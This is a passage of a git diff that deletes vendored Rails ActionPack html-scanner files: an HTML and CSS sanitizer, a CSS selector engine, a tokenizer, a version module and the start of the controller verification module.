-      # disallow urls
-      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
-      # gauntlet
-      if style !~ /^([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*$/ ||
-          style !~ /^(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*$/
-        return ''
-      end
-
-      clean = []
-      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
-        if allowed_css_properties.include?(prop.downcase)
-          clean <<  prop + ': ' + val + ';'
-        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase) 
-          unless val.split().any? do |keyword|
-            !allowed_css_keywords.include?(keyword) && 
-              keyword !~ /^(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)$/
-          end
-            clean << prop + ': ' + val + ';'
-          end
-        end
-      end
-      clean.join(' ')
-    end
-
-  protected
-    def tokenize(text, options)
-      options[:parent] = []
-      options[:attributes] ||= allowed_attributes
-      options[:tags]       ||= allowed_tags
-      super
-    end
-
-    def process_node(node, result, options)
-      result << case node
-        when HTML::Tag
-          if node.closing == :close
-            options[:parent].shift
-          else
-            options[:parent].unshift node.name
-          end
-          
-          process_attributes_for node, options
-
-          options[:tags].include?(node.name) ? node : nil
-        else
-          bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "&lt;")
-      end
-    end
-    
-    def process_attributes_for(node, options)
-      return unless node.attributes
-      node.attributes.keys.each do |attr_name|
-        value = node.attributes[attr_name].to_s
-
-        if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
-          node.attributes.delete(attr_name)
-        else
-          node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
-        end
-      end
-    end
-
-    def contains_bad_protocols?(attr_name, value)
-      uri_attributes.include?(attr_name) && 
-      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(%|&#37;)3A/ && !allowed_protocols.include?(value.split(protocol_separator).first))
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
deleted file mode 100644
index e2c49c28..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
+++ /dev/null
@@ -1,828 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module HTML
-
-  # Selects HTML elements using CSS 2 selectors.
-  #
-  # The +Selector+ class uses CSS selector expressions to match and select
-  # HTML elements.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # creates a new selector that matches any +form+ element with the class
-  # +login+ and an attribute +action+ with the value <tt>/login</tt>.
-  #
-  # === Matching Elements
-  #
-  # Use the #match method to determine if an element matches the selector.
-  #
-  # For simple selectors, the method returns an array with that element,
-  # or +nil+ if the element does not match. For complex selectors (see below)
-  # the method returns an array with all matched elements, of +nil+ if no
-  # match found.
-  #
-  # For example:
-  #   if selector.match(element)
-  #     puts "Element is a login form"
-  #   end
-  #
-  # === Selecting Elements
-  #
-  # Use the #select method to select all matching elements starting with
-  # one element and going through all children in depth-first order.
-  #
-  # This method returns an array of all matching elements, an empty array
-  # if no match is found
-  #
-  # For example:
-  #   selector = HTML::Selector.new "input[type=text]"
-  #   matches = selector.select(element)
-  #   matches.each do |match|
-  #     puts "Found text field with name #{match.attributes['name']}"
-  #   end
-  #
-  # === Expressions
-  #
-  # Selectors can match elements using any of the following criteria:
-  # * <tt>name</tt> -- Match an element based on its name (tag name).
-  #   For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
-  #   to match any element.
-  # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
-  #   <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
-  # * <tt>.class</tt> -- Match an element based on its class name, all
-  #   class names if more than one specified.
-  # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
-  # * <tt>[attr=value]</tt> -- Match an element that has the specified
-  #   attribute and value. (More operators are supported see below)
-  # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
-  #   such as <tt>:nth-child</tt> and <tt>:empty</tt>.
-  # * <tt>:not(expr)</tt> -- Match an element that does not match the
-  #   negation expression.
-  #
-  # When using a combination of the above, the element name comes first
-  # followed by identifier, class names, attributes, pseudo classes and
-  # negation in any order. Do not separate these parts with spaces!
-  # Space separation is used for descendant selectors.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # The matched element must be of type +form+ and have the class +login+.
-  # It may have other classes, but the class +login+ is required to match.
-  # It must also have an attribute called +action+ with the value
-  # <tt>/login</tt>.
-  #
-  # This selector will match the following element:
-  #   <form class="login form" method="post" action="/login">
-  # but will not match the element:
-  #   <form method="post" action="/logout">
-  #
-  # === Attribute Values
-  #
-  # Several operators are supported for matching attributes:
-  # * <tt>name</tt> -- The element must have an attribute with that name.
-  # * <tt>name=value</tt> -- The element must have an attribute with that
-  #   name and value.
-  # * <tt>name^=value</tt> -- The attribute value must start with the
-  #   specified value.
-  # * <tt>name$=value</tt> -- The attribute value must end with the
-  #   specified value.
-  # * <tt>name*=value</tt> -- The attribute value must contain the
-  #   specified value.
-  # * <tt>name~=word</tt> -- The attribute value must contain the specified
-  #   word (space separated).
-  # * <tt>name|=word</tt> -- The attribute value must start with specified
-  #   word.
-  #
-  # For example, the following two selectors match the same element:
-  #   #my_id
-  #   [id=my_id]
-  # and so do the following two selectors:
-  #   .my_class
-  #   [class~=my_class]
-  #
-  # === Alternatives, siblings, children
-  #
-  # Complex selectors use a combination of expressions to match elements:
-  # * <tt>expr1 expr2</tt> -- Match any element against the second expression
-  #   if it has some parent element that matches the first expression.
-  # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
-  #   if it is the child of an element that matches the first expression.
-  # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
-  #   if it immediately follows an element that matches the first expression.
-  # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
-  #   that comes after an element that matches the first expression.
-  # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
-  #   or against the second expression.
-  #
-  # Since children and sibling selectors may match more than one element given
-  # the first element, the #match method may return more than one match.
-  #
-  # === Pseudo classes
-  #
-  # Pseudo classes were introduced in CSS 3. They are most often used to select
-  # elements in a given position:
-  # * <tt>:root</tt> -- Match the element only if it is the root element
-  #   (no parent element).
-  # * <tt>:empty</tt> -- Match the element only if it has no child elements,
-  #   and no text content.
-  # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
-  #   of its parent element.
-  # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
-  #   of its parent element and its type.
-  # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
-  #   of its parent element.
-  # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
-  #   of its parent element of its type.
-  # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
-  #   of its parent element.
-  # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
-  #   of its parent element of its type.
-  # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
-  #   of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
-  # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
-  #   in each group of <tt>a</tt> child elements of its parent element.
-  # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
-  #   in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
-  #   elements of its parent element.
-  # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
-  #   Same as <tt>:nth-child(2n+1)</tt>.
-  # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
-  #   fourth). Same as <tt>:nth-child(2n+2)</tt>.
-  # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
-  # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
-  # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
-  #   only elements of its type.
-  # * <tt>:not(selector)</tt> -- Match the element only if the element does not
-  #   match the simple selector.
-  #
-  # As you can see, <tt>:nth-child<tt> pseudo class and its variant can get quite
-  # tricky and the CSS specification doesn't do a much better job explaining it.
-  # But after reading the examples and trying a few combinations, it's easy to
-  # figure out.
-  #
-  # For example:
-  #   table tr:nth-child(odd)
-  # Selects every second row in the table starting with the first one.
-  #
-  #   div p:nth-child(4)
-  # Selects the fourth paragraph in the +div+, but not if the +div+ contains
-  # other elements, since those are also counted.
-  #
-  #   div p:nth-of-type(4)
-  # Selects the fourth paragraph in the +div+, counting only paragraphs, and
-  # ignoring all other elements.
-  #
-  #   div p:nth-of-type(-n+4)
-  # Selects the first four paragraphs, ignoring all others.
-  #
-  # And you can always select an element that matches one set of rules but
-  # not another using <tt>:not</tt>. For example:
-  #   p:not(.post)
-  # Matches all paragraphs that do not have the class <tt>.post</tt>.
-  #   
-  # === Substitution Values
-  #
-  # You can use substitution with identifiers, class names and element values.
-  # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
-  # next value in the argument list following the CSS expression.
-  #
-  # The substitution value may be a string or a regular expression. All other
-  # values are converted to strings.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "#?", /^\d+$/
-  # matches any element whose identifier consists of one or more digits.
-  #
-  # See http://www.w3.org/TR/css3-selectors/
-  class Selector
-
-
-    # An invalid selector.
-    class InvalidSelectorError < StandardError #:nodoc:
-    end
-
-
-    class << self
-
-      # :call-seq:
-      #   Selector.for_class(cls) => selector
-      #
-      # Creates a new selector for the given class name.
-      def for_class(cls)
-        self.new([".?", cls])
-      end
-
-
-      # :call-seq:
-      #   Selector.for_id(id) => selector
-      #
-      # Creates a new selector for the given id.
-      def for_id(id)
-        self.new(["#?", id])
-      end
-
-    end
-
-
-    # :call-seq:
-    #   Selector.new(string, [values ...]) => selector
-    #
-    # Creates a new selector from a CSS 2 selector expression.
-    #
-    # The first argument is the selector expression. All other arguments
-    # are used for value substitution.
-    #
-    # Throws InvalidSelectorError is the selector expression is invalid.
-    def initialize(selector, *values)
-      raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
-      @source = ""
-      values = values[0] if values.size == 1 && values[0].is_a?(Array)
-
-      # We need a copy to determine if we failed to parse, and also
-      # preserve the original pass by-ref statement.
-      statement = selector.strip.dup
-
-      # Create a simple selector, along with negation.
-      simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
-
-      @alternates = []
-      @depends = nil
-
-      # Alternative selector.
-      if statement.sub!(/^\s*,\s*/, "")
-        second = Selector.new(statement, values)
-        @alternates << second
-        # If there are alternate selectors, we group them in the top selector.
-        if alternates = second.instance_variable_get(:@alternates)
-          second.instance_variable_set(:@alternates, [])
-          @alternates.concat alternates
-        end
-        @source << " , " << second.to_s
-      # Sibling selector: create a dependency into second selector that will
-      # match element immediately following this one.
-      elsif statement.sub!(/^\s*\+\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          if element = next_element(element)
-            second.match(element, first)
-          end
-        end
-        @source << " + " << second.to_s
-      # Adjacent selector: create a dependency into second selector that will
-      # match all elements following this one.
-      elsif statement.sub!(/^\s*~\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          while element = next_element(element)
-            if subset = second.match(element, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " ~ " << second.to_s
-      # Child selector: create a dependency into second selector that will
-      # match a child element of this one.
-      elsif statement.sub!(/^\s*>\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          element.children.each do |child|
-            if child.tag? && subset = second.match(child, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " > " << second.to_s
-      # Descendant selector: create a dependency into second selector that
-      # will match all descendant elements of this one. Note,
-      elsif statement =~ /^\s+\S+/ && statement != selector
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          stack = element.children.reverse
-          while node = stack.pop
-            next unless node.tag?
-            if subset = second.match(node, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            elsif children = node.children
-              stack.concat children.reverse
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " " << second.to_s
-      else
-        # The last selector is where we check that we parsed
-        # all the parts.
-        unless statement.empty? || statement.strip.empty?
-          raise ArgumentError, "Invalid selector: #{statement}"
-        end
-      end
-    end
-
-
-    # :call-seq:
-    #   match(element, first?) => array or nil
-    #
-    # Matches an element against the selector.
-    #
-    # For a simple selector this method returns an array with the
-    # element if the element matches, nil otherwise.
-    #
-    # For a complex selector (sibling and descendant) this method
-    # returns an array with all matching elements, nil if no match is
-    # found.
-    #
-    # Use +first_only=true+ if you are only interested in the first element.
-    #
-    # For example:
-    #   if selector.match(element)
-    #     puts "Element is a login form"
-    #   end
-    def match(element, first_only = false)
-      # Match element if no element name or element name same as element name
-      if matched = (!@tag_name || @tag_name == element.name)
-        # No match if one of the attribute matches failed
-        for attr in @attributes
-          if element.attributes[attr[0]] !~ attr[1]
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Pseudo class matches (nth-child, empty, etc).
-      if matched
-        for pseudo in @pseudo
-          unless pseudo.call(element)
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Negation. Same rules as above, but we fail if a match is made.
-      if matched && @negation
-        for negation in @negation
-          if negation[:tag_name] == element.name
-            matched = false
-          else
-            for attr in negation[:attributes]
-              if element.attributes[attr[0]] =~ attr[1]
-                matched = false
-                break
-              end
-            end
-          end
-          if matched
-            for pseudo in negation[:pseudo]
-              if pseudo.call(element)
-                matched = false
-                break
-              end
-            end
-          end
-          break unless matched
-        end
-      end
-
-      # If element matched but depends on another element (child,
-      # sibling, etc), apply the dependent matches instead.
-      if matched && @depends
-        matches = @depends.call(element, first_only)
-      else
-        matches = matched ? [element] : nil
-      end
-
-      # If this selector is part of the group, try all the alternative
-      # selectors (unless first_only).
-      if !first_only || !matches
-        @alternates.each do |alternate|
-          break if matches && first_only
-          if subset = alternate.match(element, first_only)
-            if matches
-              matches.concat subset
-            else
-              matches = subset
-            end
-          end
-        end
-      end
-
-      matches
-    end
-
-
-    # :call-seq:
-    #   select(root) => array
-    #
-    # Selects and returns an array with all matching elements, beginning
-    # with one node and traversing through all children depth-first.
-    # Returns an empty array if no match is found.
-    #
-    # The root node may be any element in the document, or the document
-    # itself.
-    #
-    # For example:
-    #   selector = HTML::Selector.new "input[type=text]"
-    #   matches = selector.select(element)
-    #   matches.each do |match|
-    #     puts "Found text field with name #{match.attributes['name']}"
-    #   end
-    def select(root)
-      matches = []
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, false)
-          subset.each do |match|
-            matches << match unless matches.any? { |item| item.equal?(match) }
-          end
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      matches
-    end
-
-
-    # Similar to #select but returns the first matching element. Returns +nil+
-    # if no element matches the selector.
-    def select_first(root)
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, true)
-          return subset.first if !subset.empty?
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      nil
-    end
-
-
-    def to_s #:nodoc:
-      @source
-    end
-
-
-    # Return the next element after this one. Skips sibling text nodes.
-    #
-    # With the +name+ argument, returns the next element with that name,
-    # skipping other sibling elements.
-    def next_element(element, name = nil)
-      if siblings = element.parent.children
-        found = false
-        siblings.each do |node|
-          if node.equal?(element)
-            found = true
-          elsif found && node.tag?
-            return node if (name.nil? || node.name == name)
-          end
-        end
-      end
-      nil
-    end
-
-
-  protected
-
-
-    # Creates a simple selector given the statement and array of
-    # substitution values.
-    #
-    # Returns a hash with the values +tag_name+, +attributes+,
-    # +pseudo+ (classes) and +negation+.
-    #
-    # Called the first time with +can_negate+ true to allow
-    # negation. Called a second time with false since negation
-    # cannot be negated.
-    def simple_selector(statement, values, can_negate = true)
-      tag_name = nil
-      attributes = []
-      pseudo = []
-      negation = []
-
-      # Element name. (Note that in negation, this can come at
-      # any order, but for simplicity we allow if only first).
-      statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
-        match.strip!
-        tag_name = match.downcase unless match == "*"
-        @source << match
-        "" # Remove
-      end
-
-      # Get identifier, class, attribute name, pseudo or negation.
-      while true
-        # Element identifier.
-        next if statement.sub!(/^#(\?|[\w\-]+)/) do |match|
-          id = $1
-          if id == "?"
-            id = values.shift
-          end
-          @source << "##{id}"
-          id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
-          attributes << ["id", id]
-          "" # Remove
-        end
-
-        # Class name.
-        next if statement.sub!(/^\.([\w\-]+)/) do |match|
-          class_name = $1
-          @source << ".#{class_name}"
-          class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
-          attributes << ["class", class_name]
-          "" # Remove
-        end
-
-        # Attribute value.
-        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
-          name, equality, value = $1, $2, $3
-          if value == "?"
-            value = values.shift
-          else
-            # Handle single and double quotes.
-            value.strip!
-            if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
-              value = value[1..-2]
-            end
-          end
-          @source << "[#{name}#{equality}'#{value}']"
-          attributes << [name.downcase.strip, attribute_match(equality, value)]
-          "" # Remove
-        end
-
-        # Root element only.
-        next if statement.sub!(/^:root/) do |match|
-          pseudo << lambda do |element|
-            element.parent.nil? || !element.parent.tag?
-          end
-          @source << ":root"
-          "" # Remove
-        end
-
-        # Nth-child including last and of-type.
-        next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
-          reverse = $1 == "last-"
-          of_type = $2 == "of-type"
-          @source << ":nth-#{$1}#{$2}("
-          case $3
-            when "odd"
-              pseudo << nth_child(2, 1, of_type, reverse)
-              @source << "odd)"
-            when "even"
-              pseudo << nth_child(2, 2, of_type, reverse)
-              @source << "even)"
-            when /^(\d+|\?)$/  # b only
-              b = ($1 == "?" ? values.shift : $1).to_i
-              pseudo << nth_child(0, b, of_type, reverse)
-              @source << "#{b})"
-            when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
-              a = ($1 == "?" ? values.shift :
-                   $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
-              b = ($2 == "?" ? values.shift : $2).to_i
-              pseudo << nth_child(a, b, of_type, reverse)
-              @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
-            else
-              raise ArgumentError, "Invalid nth-child #{match}"
-          end
-          "" # Remove
-        end
-        # First/last child (of type).
-        next if statement.sub!(/^:(first|last)-(child|of-type)/) do |match|
-          reverse = $1 == "last"
-          of_type = $2 == "of-type"
-          pseudo << nth_child(0, 1, of_type, reverse)
-          @source << ":#{$1}-#{$2}"
-          "" # Remove
-        end
-        # Only child (of type).
-        next if statement.sub!(/^:only-(child|of-type)/) do |match|
-          of_type = $1 == "of-type"
-          pseudo << only_child(of_type)
-          @source << ":only-#{$1}"
-          "" # Remove
-        end
-
-        # Empty: no child elements or meaningful content (whitespaces
-        # are ignored).
-        next if statement.sub!(/^:empty/) do |match|
-          pseudo << lambda do |element|
-            empty = true
-            for child in element.children
-              if child.tag? || !child.content.strip.empty?
-                empty = false
-                break
-              end
-            end
-            empty
-          end
-          @source << ":empty"
-          "" # Remove
-        end
-        # Content: match the text content of the element, stripping
-        # leading and trailing spaces.
-        next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do |match|
-          content = $1
-          if content == "?"
-            content = values.shift
-          elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
-            content = content[1..-2]
-          end
-          @source << ":content('#{content}')"
-          content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
-          pseudo << lambda do |element|
-            text = ""
-            for child in element.children
-              unless child.tag?
-                text << child.content
-              end
-            end
-            text.strip =~ content
-          end
-          "" # Remove
-        end
-
-        # Negation. Create another simple selector to handle it.
-        if statement.sub!(/^:not\(\s*/, "")
-          raise ArgumentError, "Double negatives are not missing feature" unless can_negate
-          @source << ":not("
-          negation << simple_selector(statement, values, false)
-          raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
-          @source << ")"
-          next
-        end
-
-        # No match: moving on.
-        break
-      end
-
-      # Return hash. The keys are mapped to instance variables.
-      {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
-    end
-
-
-    # Create a regular expression to match an attribute value based
-    # on the equality operator (=, ^=, |=, etc).
-    def attribute_match(equality, value)
-      regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
-      case equality
-        when "=" then
-          # Match the attribute value in full
-          Regexp.new("^#{regexp}$")
-        when "~=" then
-          # Match a space-separated word within the attribute value
-          Regexp.new("(^|\s)#{regexp}($|\s)")
-        when "^="
-          # Match the beginning of the attribute value
-          Regexp.new("^#{regexp}")
-        when "$="
-          # Match the end of the attribute value
-          Regexp.new("#{regexp}$")
-        when "*="
-          # Match substring of the attribute value
-          regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
-        when "|=" then
-          # Match the first space-separated item of the attribute value
-          Regexp.new("^#{regexp}($|\s)")
-        else
-          raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
-          # Match all attributes values (existence check)
-          //
-      end
-    end
-
-
-    # Returns a lambda that can match an element against the nth-child
-    # pseudo class, given the following arguments:
-    # * +a+ -- Value of a part.
-    # * +b+ -- Value of b part.
-    # * +of_type+ -- True to test only elements of this type (of-type).
-    # * +reverse+ -- True to count in reverse order (last-).
-    def nth_child(a, b, of_type, reverse)
-      # a = 0 means select at index b, if b = 0 nothing selected
-      return lambda { |element| false } if a == 0 && b == 0
-      # a < 0 and b < 0 will never match against an index
-      return lambda { |element| false } if a < 0 && b < 0
-      b = a + b + 1 if b < 0   # b < 0 just picks last element from each group
-      b -= 1 unless b == 0  # b == 0 is same as b == 1, otherwise zero based
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        index = 0
-        # Get siblings, reverse if counting from last.
-        siblings = element.parent.children
-        siblings = siblings.reverse if reverse
-        # Match element name if of-type, otherwise ignore name.
-        name = of_type ? element.name : nil
-        found = false
-        for child in siblings
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            if a == 0
-              # Shortcut when a == 0 no need to go past count
-              if index == b
-                found = child.equal?(element)
-                break
-              end
-            elsif a < 0
-              # Only look for first b elements
-              break if index > b
-              if child.equal?(element)
-                found = (index % a) == 0
-                break
-              end
-            else
-              # Otherwise, break if child found and count ==  an+b
-              if child.equal?(element)
-                found = (index % a) == b
-                break
-              end
-            end
-            index += 1
-          end
-        end
-        found
-      end
-    end
-
-
-    # Creates a only child lambda. Pass +of-type+ to only look at
-    # elements of its type.
-    def only_child(of_type)
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        name = of_type ? element.name : nil
-        other = false
-        for child in element.parent.children
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            unless child.equal?(element)
-              other = true
-              break
-            end
-          end
-        end
-        !other
-      end
-    end
-
-
-    # Called to create a dependent selector (sibling, descendant, etc).
-    # Passes the remainder of the statement that will be reduced to zero
-    # eventually, and array of substitution values.
-    #
-    # This method is called from four places, so it helps to put it here
-    # for reuse. The only logic deals with the need to detect comma
-    # separators (alternate) and apply them to the selector group of the
-    # top selector.
-    def next_selector(statement, values)
-      second = Selector.new(statement, values)
-      # If there are alternate selectors, we group them in the top selector.
-      if alternates = second.instance_variable_get(:@alternates)
-        second.instance_variable_set(:@alternates, [])
-        @alternates.concat alternates
-      end
-      second
-    end
-
-  end
-
-
-  # See HTML::Selector.new
-  def self.selector(statement, *values)
-    Selector.new(statement, *values)
-  end
-
-
-  class Tag
-
-    def select(selector, *values)
-      selector = HTML::Selector.new(selector, values)
-      selector.select(self)
-    end
-
-  end
-
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
deleted file mode 100644
index 602411ed..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-  
-  # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
-  # token is a string. Each string represents either "text", or an HTML element.
-  #
-  # This currently assumes valid XHTML, which means no free < or > characters.
-  #
-  # Usage:
-  #
-  #   tokenizer = HTML::Tokenizer.new(text)
-  #   while token = tokenizer.next
-  #     p token
-  #   end
-  class Tokenizer #:nodoc:
-    
-    # The current (byte) position in the text
-    attr_reader :position
-    
-    # The current line number
-    attr_reader :line
-    
-    # Create a new Tokenizer for the given text.
-    def initialize(text)
-      @scanner = StringScanner.new(text)
-      @position = 0
-      @line = 0
-      @current_line = 1
-    end
-
-    # Return the next token in the sequence, or +nil+ if there are no more tokens in
-    # the stream.
-    def next
-      return nil if @scanner.eos?
-      @position = @scanner.pos
-      @line = @current_line
-      if @scanner.check(/<\S/)
-        update_current_line(scan_tag)
-      else
-        update_current_line(scan_text)
-      end
-    end
-  
-    private
-
-      # Treat the text at the current position as a tag, and scan it. Supports
-      # comments, doctype tags, and regular tags, and ignores less-than and
-      # greater-than characters within quoted strings.
-      def scan_tag
-        tag = @scanner.getch
-        if @scanner.scan(/!--/) # comment
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!\[CDATA\[/)
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!/) # doctype
-          tag << @scanner.matched
-          tag << consume_quoted_regions
-        else
-          tag << consume_quoted_regions
-        end
-        tag
-      end
-
-      # Scan all text up to the next < character and return it.
-      def scan_text
-        "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
-      end
-      
-      # Counts the number of newlines in the text and updates the current line
-      # accordingly.
-      def update_current_line(text)
-        text.scan(/\r?\n/) { @current_line += 1 }
-      end
-      
-      # Skips over quoted strings, so that less-than and greater-than characters
-      # within the strings are ignored.
-      def consume_quoted_regions
-        text = ""
-        loop do
-          match = @scanner.scan_until(/['"<>]/) or break
-
-          delim = @scanner.matched
-          if delim == "<"
-            match = match.chop
-            @scanner.pos -= 1
-          end
-
-          text << match
-          break if delim == "<" || delim == ">"
-
-          # consume the quoted region
-          while match = @scanner.scan_until(/[\\#{delim}]/)
-            text << match
-            break if @scanner.matched == delim
-            text << @scanner.getch # skip the escaped character
-          end
-        end
-        text
-      end
-  end
-  
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/version.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/version.rb
deleted file mode 100644
index 6d645c3e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/version.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module HTML #:nodoc:
-  module Version #:nodoc:
-
-    MAJOR = 0
-    MINOR = 5
-    TINY  = 3
-
-    STRING = [ MAJOR, MINOR, TINY ].join(".")
-
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/verification.rb b/vendor/rails/actionpack/lib/action_controller/verification.rb
deleted file mode 100644
index c62b81b6..00000000
--- a/vendor/rails/actionpack/lib/action_controller/verification.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-module ActionController #:nodoc:
-  module Verification #:nodoc:
-    def self.included(base) #:nodoc:
-      base.extend(ClassMethods)
-    end
-
-    # This module provides a class-level method for specifying that certain
-    # actions are guarded against being called without certain prerequisites
-    # being met. This is essentially a special kind of before_filter.
-    #
-    # An action may be guarded against being invoked without certain request
-    # parameters being set, or without certain session values existing.
-    #
-    # When a verification is violated, values may be inserted into the flash, and
-    # a specified redirection is triggered. If no specific action is configured,
-    # verification failures will by default result in a 400 Bad Request response.
-    #
-    # Usage:
-    #
-    #   class GlobalController < ActionController::Base
-    #     # Prevent the #update_settings action from being invoked unless
-    #     # the 'admin_privileges' request parameter exists. The
-    #     # settings action will be redirected to in current controller
-    #     # if verification fails.
-    #     verify :params => "admin_privileges", :only => :update_post,
-    #            :redirect_to => { :action => "settings" }
-    #
-    #     # Disallow a post from being updated if there was no information
-    #     # submitted with the post, and if there is no active post in the
-    #     # session, and if there is no "note" key in the flash. The route
-    #     # named category_url will be redirected to if verification fails.
-    #
-    #     verify :params => "post", :session => "post", "flash" => "note",
-    #            :only => :update_post,
-    #            :add_flash => { "alert" => "Failed to create your message" },
-    #            :redirect_to => :category_url
-    #
-    # Note that these prerequisites are not business rules. They do not examine 
-    # the content of the session or the parameters. That level of validation should
-    # be encapsulated by your domain model or helper methods in the controller.
-    module ClassMethods
-      # Verify the given actions so that if certain prerequisites are not met,
-      # the user is redirected to a different action. The +options+ parameter
